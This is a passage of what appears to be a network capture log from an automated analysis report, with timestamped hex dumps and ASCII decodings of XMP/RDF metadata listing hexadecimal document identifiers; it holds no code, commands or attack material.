6c 69 3e 33 33 45 31 38 43 32 44 45 38 33 36 46 35 38 30 39 41 44 41 44 36 32 41 46 45 46 41 36 31 34 39 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 46 45 35 37 44 39 44 31 42 41 33 46 32 34 34 32 42 39 45 34 43 32 37 
39 39 37 31 45 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: df:li>33CF75C91138B6C71A93FFD92E7E1288</rdf:li> <rdf:li>33DFBBF64185F771A6130150CD4CB5CC
</rdf:li> <rdf:li>33E03F4572CF0BDF6198660D552A8D95</rdf:li> <rdf:li>33E18C2DE836F5809ADAD62AFEFA6149
</rdf:li> <rdf:li>33FE57D9D1BA3F2442B9E4C279971E22</rdf:li> <rdf:li

2022-08-11 03:42:55 UTC 4134 IN Data Raw: 35 45 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 31 36 46 43 43 44 41 44 35 43 44 46 39 
35 38 39 38 43 42 33 41 36 38 44 39 34 35 43 43 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 31 37 
36 44 39 33 38 33 41 45 44 45 43 30 45 45 45 35 30 45 32 30 38 34 34 44 45 31 31 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 34 31 38 42 44 41 44 34 31 32 44 44 33 43 31 37 46 46 44 37 35 44 39 36 32 45 31 44 34 33 36 
42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 31 38 46 42 35 39 45 33 38 35 30 30 35 30 32 35 36 34 33 
42 37 41 31 36 46 33 45 42 39 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 31 41 34 36 32 32 34 30 
32 43 32 36 46 32 33 45 38 30 44 46 45 33 46 45 43 32 33 31 34 45 38 3c 
Data Ascii: 5E84</rdf:li> <rdf:li>416FCCDAD5CDF95898CB3A68D945CCDA</rdf:li> <rdf:li>4176D9383AEDEC0E
EE50E20844DE11B2</rdf:li> <rdf:li>418BDAD412DD3C17FFD75D962E1D436B</rdf:li> <rdf:li>418FB59E38500502
5643B7A16F3EB9A4</rdf:li> <rdf:li>41A4622402C26F23E80DFE3FEC2314E8<

2022-08-11 03:42:55 UTC 4275 IN Data Raw: 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 44 34 35 44 46 31 46 34 30 43 35 31 42 36 
42 37 38 30 37 38 35 45 38 33 46 44 35 44 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 45 30 45 
41 45 41 34 46 45 46 34 44 41 37 31 31 33 41 34 43 35 30 35 45 44 37 38 33 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 34 37 45 36 32 43 37 32 32 46 42 33 36 43 41 36 45 42 42 35 33 31 45 30 33 30 36 44 32 36 46 46 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 45 42 34 44 42 33 43 34 34 42 44 43 31 35 35 43 43 36 31 36 
37 30 44 37 44 36 43 37 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 45 46 38 33 41 39 38 45 32 
33 45 36 30 38 39 43 46 41 45 45 32 42 31 34 42 32 33 35 38 30 3c 2f 72 
Data Ascii: 1C</rdf:li> <rdf:li>47D45DF1F40C51B6B780785E83FD5D2F</rdf:li> <rdf:li>47E0EAEA4FEF4DA711
3A4C505ED783CC</rdf:li> <rdf:li>47E62C722FB36CA6EBB531E0306D26FF</rdf:li> <rdf:li>47EB4DB3C44BDC155C
C61670D7D6C76B</rdf:li> <rdf:li>47EF83A98E23E6089CFAEE2B14B23580</r
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2022-08-11 03:42:55 UTC 4291 IN Data Raw: 43 35 36 35 39 35 44 39 33 42 33 30 33 46 36 33 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
35 35 32 43 32 32 33 38 35 36 41 35 37 34 32 30 31 36 43 35 30 37 37 42 44 34 33 39 44 38 30 43 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 33 34 41 30 37 43 45 35 41 32 44 39 39 36 35 43 33 41 43 37 46 34 30 38 35 33 
30 41 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 34 35 31 46 33 34 33 38 43 32 39 45 32 33 38 4
6 30 30 36 32 39 31 30 38 32 33 35 43 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 34 43 34 41 31 
45 39 42 32 39 45 45 31 44 42 33 46 37 33 42 44 42 31 33 45 36 42 39 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 35 35 34 43 44 32 35 32 32 44 44 32 43 42 30 45 44 45 31 
Data Ascii: C56595D93B303F635F</rdf:li> <rdf:li>552C223856A5742016C5077BD439D80C</rdf:li> <rdf:li>55
34A07CE5A2D9965C3AC7F408530A05</rdf:li> <rdf:li>55451F3438C29E238F00629108235C53</rdf:li> <rdf:li>55
4C4A1E9B29EE1DB3F73BDB13E6B9A9</rdf:li> <rdf:li>554CD2522DD2CB0EDE1

2022-08-11 03:42:55 UTC 4347 IN Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 35 38 36 46 46 44 39 46 33 35 44 42 45 35 46 36 36 31 32 34 35 30 39 33 45 
33 46 42 35 44 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 38 37 35 36 46 33 33 30 43 32 31 34 42 
30 34 39 36 46 37 35 37 37 45 30 31 43 39 36 46 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 38 37 3
6 34 38 30 35 41 35 45 39 34 37 38 33 46 46 30 36 45 45 42 37 35 44 43 31 42 39 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 35 38 38 36 33 37 37 35 42 46 45 44 30 34 39 36 36 44 43 32 32 39 42 41 44 33 35 39 35 39 31 35 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 38 39 36 41 34 37 44 32 45 31 46 43 36 33 34 32 42 39 42 37 
43 43 37 37 35 41 46 39 33 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
Data Ascii: > <rdf:li>586FFD9F35DBE5F661245093E3FB5D68</rdf:li> <rdf:li>58756F330C214B0496F7577E01C9
6FE9</rdf:li> <rdf:li>58764805A5E94783FF06EEB75DC1B94A</rdf:li> <rdf:li>58863775BFED04966DC229BAD359
5915</rdf:li> <rdf:li>5896A47D2E1FC6342B9B7CC775AF93F4</rdf:li> <rd

2022-08-11 03:42:55 UTC 4425 IN Data Raw: 66 3a 6c 69 3e 36 37 32 36 37 37 42 35 42 30 45 36 35 41 39 41 37 33 44 34 36 45 43 32 46 30 39 39 43 33 
35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 33 32 34 32 38 43 39 46 37 45 45 35 34 34 36 44 39 
34 45 46 42 41 46 43 44 46 38 41 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 33 42 31 36 31 35 4
1 42 32 33 43 36 42 43 39 36 32 38 46 34 46 39 45 36 43 45 30 31 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 36 37 34 32 35 36 44 36 44 37 31 44 46 34 42 32 38 38 44 39 38 43 43 43 35 41 43 39 33 43 41 45 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 34 38 33 38 45 39 46 30 31 37 44 43 44 36 38 39 37 44 45 42 30 35 38 46 
42 42 38 31 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
Data Ascii: f:li>672677B5B0E65A9A73D46EC2F099C35B</rdf:li> <rdf:li>6732428C9F7EE5446D94EFBAFCDF8A02<
/rdf:li> <rdf:li>673B1615AB23C6BC9628F4F9E6CE012C</rdf:li> <rdf:li>674256D6D71DF4B288D98CCC5AC93CAE<
/rdf:li> <rdf:li>674838E9F017DCD6897DEB058FBB81D6</rdf:li> <rdf:li>

2022-08-11 03:42:55 UTC 4441 IN Data Raw: 37 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 38 42 36 36 36 41 38 39 30 30 31 36 34 
46 37 31 33 34 33 35 32 36 31 30 38 38 33 35 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 39 35 
42 36 43 37 31 37 31 44 44 34 36 32 45 37 42 31 30 44 42 30 38 39 32 43 34 46 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 37 35 42 36 45 41 38 42 39 44 33 37 43 46 36 33 41 36 35 36 31 34 41 30 45 33 41 39 45 33 44 46 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 42 46 35 34 31 33 32 44 36 30 31 33 39 31 41 44 43 42 37 
46 36 41 33 39 30 46 43 37 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 44 31 46 32 42 39 42 30 
43 38 31 31 41 32 45 46 46 35 43 42 44 36 30 30 41 33 38 31 31 43 3c 2f 
Data Ascii: 79D</rdf:li> <rdf:li>758B666A8900164F7134352610883584</rdf:li> <rdf:li>7595B6C7171DD462E
7B10DB0892C4F31</rdf:li> <rdf:li>75B6EA8B9D37CF63A65614A0E3A9E3DF</rdf:li> <rdf:li>75BF54132D601391A
DCB7F6A390FC7E9</rdf:li> <rdf:li>75D1F2B9B0C811A2EFF5CBD600A3811C</

2022-08-11 03:42:55 UTC 4490 IN Data Raw: 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 42 44 42 45 34 39 36 39 46 33 43 44 35 32 36 37 
30 41 41 35 39 36 31 38 32 35 32 36 33 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 42 46 30 46 43 
41 41 36 30 37 38 39 34 33 36 37 35 35 38 44 30 32 38 35 45 38 41 31 30 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 37 43 30 37 46 43 39 37 32 36 44 43 43 38 39 31 36 32 45 46 33 37 44 35 32 35 39 41 39 31 46 42 3c 2f 7
2 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 30 46 43 37 38 33 38 41 30 35 44 42 41 43 41 30 44 34 33 44 39 
46 37 45 44 44 33 45 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 31 31 31 31 34 32 31 38 32 39 
43 33 34 30 35 39 34 46 39 31 44 34 31 45 37 42 34 41 39 37 3c 2f 72 64 
Data Ascii: 7</rdf:li> <rdf:li>7BDBE4969F3CD52670AA59618252637E</rdf:li> <rdf:li>7BF0FCAA60789436755
8D0285E8A103E</rdf:li> <rdf:li>7C07FC9726DCC89162EF37D5259A91FB</rdf:li> <rdf:li>7C0FC7838A05DBACA0D
43D9F7EDD3EBB</rdf:li> <rdf:li>7C1111421829C340594F91D41E7B4A97</rd

2022-08-11 03:42:55 UTC 4566 IN Data Raw: 42 35 43 41 32 30 44 43 30 46 37 42 31 43 36 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 
38 42 46 45 30 30 42 46 31 39 31 31 42 32 39 34 36 35 37 32 35 38 46 43 34 45 36 30 41 41 38 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 38 38 43 31 43 37 32 41 38 41 37 34 45 32 46 45 35 38 46 35 41 37 33 43 33 46 42 38 42 
44 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 38 44 32 35 31 35 39 42 34 46 39 39 45 44 37 36 45 3
5 36 42 43 31 38 31 42 30 36 33 35 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 38 45 39 32 46 38 37 
41 37 41 30 45 46 41 33 41 36 30 34 39 44 43 44 34 43 45 42 31 39 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 38 38 46 30 32 38 41 45 30 30 43 35 41 37 39 44 38 32 46 31 
Data Ascii: B5CA20DC0F7B1C678</rdf:li> <rdf:li>88BFE00BF1911B294657258FC4E60AA8</rdf:li> <rdf:li>88C
1C72A8A74E2FE58F5A73C3FB8BD5B</rdf:li> <rdf:li>88D25159B4F99ED76E56BC181B0635DA</rdf:li> <rdf:li>88E
92F87A7A0EFA3A6049DCD4CEB1992</rdf:li> <rdf:li>88F028AE00C5A79D82F1

2022-08-11 03:42:55 UTC 4582 IN Data Raw: 32 34 36 41 37 42 43 35 33 42 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 34 45 44 32 
36 36 39 36 39 37 46 32 35 42 38 42 34 31 41 30 38 30 44 39 31 38 36 32 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 39 37 35 34 44 36 34 46 34 37 42 35 45 37 33 34 36 36 35 31 35 39 43 30 46 41 35 33 31 43 38 41 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 35 36 43 32 33 30 45 41 30 39 32 46 43 34 32 45 44 38 35 43 30 
39 36 35 39 42 33 37 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 35 36 46 31 43 35 32 32 34 42 
46 36 33 46 43 36 39 42 38 42 41 30 31 33 33 30 31 34 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 
37 35 44 33 39 38 43 34 42 37 30 42 36 42 32 46 46 37 30 44 38 30 37 39 
Data Ascii: 246A7BC53BF6</rdf:li> <rdf:li>974ED2669697F25B8B41A080D91862BA</rdf:li> <rdf:li>9754D64F
47B5E734665159C0FA531C8A</rdf:li> <rdf:li>9756C230EA092FC42ED85C09659B3769</rdf:li> <rdf:li>9756F1C5
224BF63FC69B8BA013301411</rdf:li> <rdf:li>975D398C4B70B6B2FF70D8079

2022-08-11 03:42:55 UTC 4633 IN Data Raw: 43 32 34 37 36 32 33 38 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 38 31 35 35 32 37 
42 31 45 36 30 41 46 38 35 34 46 45 42 36 37 37 30 37 41 32 44 37 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 39 44 39 30 46 46 34 39 43 42 30 39 31 46 41 43 44 46 45 30 36 37 41 42 34 30 31 41 36 33 39 43 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 41 32 39 30 42 41 32 35 34 31 39 42 38 39 37 33 34 39 37 30 41 39 41 
44 34 45 45 34 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 42 31 46 41 37 34 33 33 34 38 46 34 
44 33 43 34 31 45 41 46 35 36 37 41 30 35 46 31 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 42 
36 44 37 38 34 45 34 32 30 34 44 44 42 38 39 34 43 43 31 32 45 43 38 46 
Data Ascii: C247623836</rdf:li> <rdf:li>9D815527B1E60AF854FEB67707A2D73A</rdf:li> <rdf:li>9D90FF49CB
091FACDFE067AB401A639C</rdf:li> <rdf:li>9DA290BA25419B89734970A9AD4EE44D</rdf:li> <rdf:li>9DB1FA7433
48F4D3C41EAF567A05F10E</rdf:li> <rdf:li>9DB6D784E4204DDB894CC12EC8F
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2022-08-11 03:42:55 UTC 4649 IN Data Raw: 39 41 41 38 30 30 37 33 45 32 33 41 31 35 43 43 41 44 42 41 35 44 31 32 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 41 41 43 43 37 45 34 36 39 34 37 38 39 46 38 31 33 31 33 39 36 36 44 41 41 41 43 38 32 31 44 
45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 41 46 30 31 46 34 41 32 39 38 46 34 41 31 36 34 38 42 41 
45 30 30 38 33 33 42 31 46 31 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 30 35 36 44 41 46 35 3
0 45 33 31 38 35 31 34 46 32 30 38 35 42 36 37 42 36 38 33 39 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 41 42 34 39 30 45 33 43 44 32 36 36 38 43 39 43 44 35 35 32 33 42 43 32 35 32 43 38 37 31 32 43 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 35 42 30 32 45 34 32 44 41 
Data Ascii: 9AA80073E23A15CCADBA5D125D</rdf:li> <rdf:li>AACC7E4694789F81313966DAAAC821DE</rdf:li> <r
df:li>AAF01F4A298F4A1648BAE00833B1F182</rdf:li> <rdf:li>AB056DAF50E318514F2085B67B683903</rdf:li> <r
df:li>AB490E3CD2668C9CD5523BC252C8712C</rdf:li> <rdf:li>AB5B02E42DA

2022-08-11 03:42:55 UTC 4653 IN Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 38 39 37 32 46 41 46 46 42 44 36 32 38 39 37 44 
35 31 42 36 42 35 42 39 34 45 31 37 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 38 45 44 33 37 
32 43 44 33 46 37 43 44 36 37 37 36 46 31 31 36 38 32 43 43 33 45 38 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 41 45 38 46 44 30 42 31 37 43 34 32 46 42 44 31 35 42 36 31 37 41 42 36 44 44 43 46 41 42 41 37 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 39 41 35 36 42 41 44 44 38 44 39 34 33 33 31 35 37 38 41 46 38 45 
46 45 32 44 30 32 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 39 46 39 30 46 30 44 35 33 43 45 
46 36 32 33 45 46 46 33 31 39 46 32 39 46 46 33 31 38 31 3c 2f 72 64 66 
Data Ascii: </rdf:li> <rdf:li>AE8972FAFFBD62897D51B6B5B94E1758</rdf:li> <rdf:li>AE8ED372CD3F7CD6776F
11682CC3E817</rdf:li> <rdf:li>AE8FD0B17C42FBD15B617AB6DDCFABA7</rdf:li> <rdf:li>AE9A56BADD8D94331578
AF8EFE2D02AB</rdf:li> <rdf:li>AE9F90F0D53CEF623EFF319F29FF3181</rdf

2022-08-11 03:42:55 UTC 4768 IN Data Raw: 46 37 37 32 30 42 36 31 37 37 42 45 41 32 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 42 
42 44 30 31 44 44 38 41 36 46 36 33 34 45 42 34 30 35 31 36 36 38 37 44 46 37 34 44 33 30 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 42 42 43 33 42 31 34 38 34 46 42 31 35 44 32 30 36 46 35 33 34 32 37 36 32 43 30 44 42 35 
31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 42 43 36 37 36 37 43 38 36 32 34 32 37 45 36 33 43 30 4
2 32 37 36 30 31 42 43 34 46 41 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 42 44 33 36 45 32 36 32 
33 34 39 43 34 34 43 33 41 44 41 45 31 46 31 43 37 32 44 45 31 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 42 42 44 39 43 39 34 30 42 31 43 32 37 46 35 43 38 33 34 35 44 
Data Ascii: F7720B6177BEA236</rdf:li> <rdf:li>BBBD01DD8A6F634EB40516687DF74D30</rdf:li> <rdf:li>BBC3
B1484FB15D206F5342762C0DB514</rdf:li> <rdf:li>BBC6767C862427E63C0B27601BC4FAB4</rdf:li> <rdf:li>BBD3
6E262349C44C3ADAE1F1C72DE1D6</rdf:li> <rdf:li>BBD9C940B1C27F5C8345D

2022-08-11 03:42:55 UTC 4784 IN Data Raw: 43 39 41 35 45 45 46 43 31 44 46 46 32 30 42 31 30 41 38 39 36 34 41 36 45 39 41 30 43 33 30 46 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 41 45 34 32 42 35 35 32 44 43 35 42 35 36 42 30 36 30 37 38 33 38 
46 36 36 35 42 44 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 42 46 34 37 39 35 32 31 45 35 32 3
5 30 39 30 32 30 37 37 41 36 31 43 37 36 43 39 41 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 43 
36 37 30 31 43 37 31 37 37 33 41 37 34 30 41 34 33 44 34 42 31 31 37 42 42 39 46 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 43 39 43 42 45 31 46 44 38 37 32 41 36 45 44 45 33 44 36 32 41 42 37 31 43 46 39 43 44 36 46 
43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 44 34 38 
Data Ascii: C9A5EEFC1DFF20B10A8964A6E9A0C30F</rdf:li> <rdf:li>C9AE42B552DC5B56B0607838F665BD13</rdf:li> 
<rdf:li>C9BF479521E5250902077A61C76C9ABA</rdf:li> <rdf:li>C9C6701C71773A740A43D4B117BB9F55</rdf:li> <rdf:l
i>C9CBE1FD872A6EDE3D62AB71CF9CD6FC</rdf:li> <rdf:li>C9D48

2022-08-11 03:42:55 UTC 4807 IN Data Raw: 34 32 36 42 44 43 36 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 34 36 36 46 42 44 39 
39 39 37 45 35 44 41 35 39 42 35 32 35 34 42 43 45 39 41 38 32 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 43 46 37 31 30 30 41 45 33 34 30 36 31 34 37 38 33 32 33 42 31 46 36 38 46 30 39 36 39 31 34 42 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 38 41 44 35 37 33 41 35 41 33 44 42 30 45 39 36 31 37 36 46 46 38 35 44 
32 35 44 39 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 38 43 37 36 32 31 46 38 42 46 37 31 30 
45 32 33 43 34 43 34 34 30 30 39 32 44 39 44 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 39 35 
41 31 35 35 42 38 34 36 32 42 41 46 30 31 38 44 31 35 30 34 44 45 32 35 
Data Ascii: 426BDC648</rdf:li> <rdf:li>CF466FBD9997E5DA59B5254BCE9A8281</rdf:li> <rdf:li>CF7100AE340
61478323B1F68F096914B</rdf:li> <rdf:li>CF8AD573A5A3DB0E96176FF85D25D905</rdf:li> <rdf:li>CF8C7621F8B
F710E23C4C440092D9D75</rdf:li> <rdf:li>CF95A155B8462BAF018D1504DE25

2022-08-11 03:42:55 UTC 4823 IN Data Raw: 44 45 35 38 39 43 35 36 46 39 42 42 42 45 35 42 44 38 32 44 34 34 35 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 44 44 37 34 30 42 38 38 30 32 32 41 34 31 35 38 42 39 41 45 31 30 32 41 43 35 35 43 45 37 38 35 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 44 37 42 32 36 39 41 41 43 46 43 42 30 46 41 33 34 45 33 33 
37 36 43 41 42 34 34 31 38 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 44 37 46 43 43 32 31 33 36 3
5 41 31 39 38 44 38 36 34 46 39 41 39 43 38 46 42 32 36 41 44 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
44 44 39 38 43 38 30 34 36 32 38 38 34 39 32 34 43 34 37 37 45 30 41 42 45 37 44 39 44 32 46 36 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 44 44 41 34 46 38 38 38 37 38 34 44 
Data Ascii: DE589C56F9BBBE5BD82D445C5</rdf:li> <rdf:li>DD740B88022A4158B9AE102AC55CE785</rdf:li> <rd
f:li>DD7B269AACFCB0FA34E3376CAB441860</rdf:li> <rdf:li>DD7FCC21365A198D864F9A9C8FB26AD5</rdf:li> <rd
f:li>DD98C80462884924C477E0ABE7D9D2F6</rdf:li> <rdf:li>DDA4F888784D

2022-08-11 03:42:55 UTC 4839 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 45 41 34 37 32 46 32 38 38 38 44 46 42 37 44 42 43 45 30 43 42 39 39 41 45 33 
38 46 32 34 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 41 35 38 42 45 39 37 30 32 31 43 39 39 46 
31 35 33 46 43 44 44 33 39 31 41 30 35 36 42 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 41 35 38 4
5 42 46 41 35 37 46 45 35 41 32 45 31 44 45 35 44 31 45 39 46 41 37 35 37 46 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 45 41 36 35 33 33 45 30 42 30 34 31 44 43 30 41 39 41 39 44 31 41 36 44 33 34 32 38 34 39 43 43 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 41 36 45 36 43 35 34 43 38 46 42 43 39 30 43 33 35 44 39 30 44 
36 34 37 30 42 42 41 37 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
Data Ascii:  <rdf:li>EA472F2888DFB7DBCE0CB99AE38F24AF</rdf:li> <rdf:li>EA58BE97021C99F153FCDD391A056
BC8</rdf:li> <rdf:li>EA58EBFA57FE5A2E1DE5D1E9FA757FF2</rdf:li> <rdf:li>EA6533E0B041DC0A9A9D1A6D34284
9CC</rdf:li> <rdf:li>EA6E6C54C8FBC90C35D90D6470BBA744</rdf:li> <rdf

2022-08-11 03:42:55 UTC 4847 IN Data Raw: 72 64 66 3a 6c 69 3e 45 46 43 43 39 42 33 36 37 36 45 33 43 43 37 41 30 39 36 37 42 46 33 46 38 45 45 30 
42 37 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 44 38 30 33 41 38 42 42 38 36 33 31 37 46 44 
36 37 38 41 46 36 39 33 34 37 43 32 34 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 45 30 39 37 3
1 46 38 32 43 37 41 41 36 35 34 34 43 37 45 38 41 37 35 30 37 33 30 42 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 45 46 45 42 31 46 30 38 36 35 41 37 34 36 38 31 31 44 43 39 33 38 30 35 33 31 31 30 37 44 46 30 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 45 46 36 36 45 39 34 38 33 33 37 43 46 45 41 45 44 34 33 38 45 38 
39 45 41 46 37 33 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
Data Ascii: rdf:li>EFCC9B3676E3CC7A0967BF3F8EE0B714</rdf:li> <rdf:li>EFD803A8BB86317FD678AF69347C249
F</rdf:li> <rdf:li>EFE0971F82C7AA6544C7E8A750730B10</rdf:li> <rdf:li>EFEB1F0865A746811DC9380531107DF
0</rdf:li> <rdf:li>EFEF66E948337CFEAED438E89EAF73BB</rdf:li> <rdf:l
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2022-08-11 03:42:55 UTC 4863 IN Data Raw: 37 41 35 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 41 33 38 33 36 45 41 39 34 41 45 
39 37 42 30 45 46 38 43 35 30 30 45 33 41 32 35 39 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 
41 37 37 31 35 36 37 42 33 35 31 42 38 34 45 32 37 45 36 34 39 32 32 46 42 45 32 38 41 43 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 46 43 41 41 41 39 45 34 33 33 44 34 32 43 37 37 36 37 37 42 45 35 39 36 46 42 43 30 35 34 
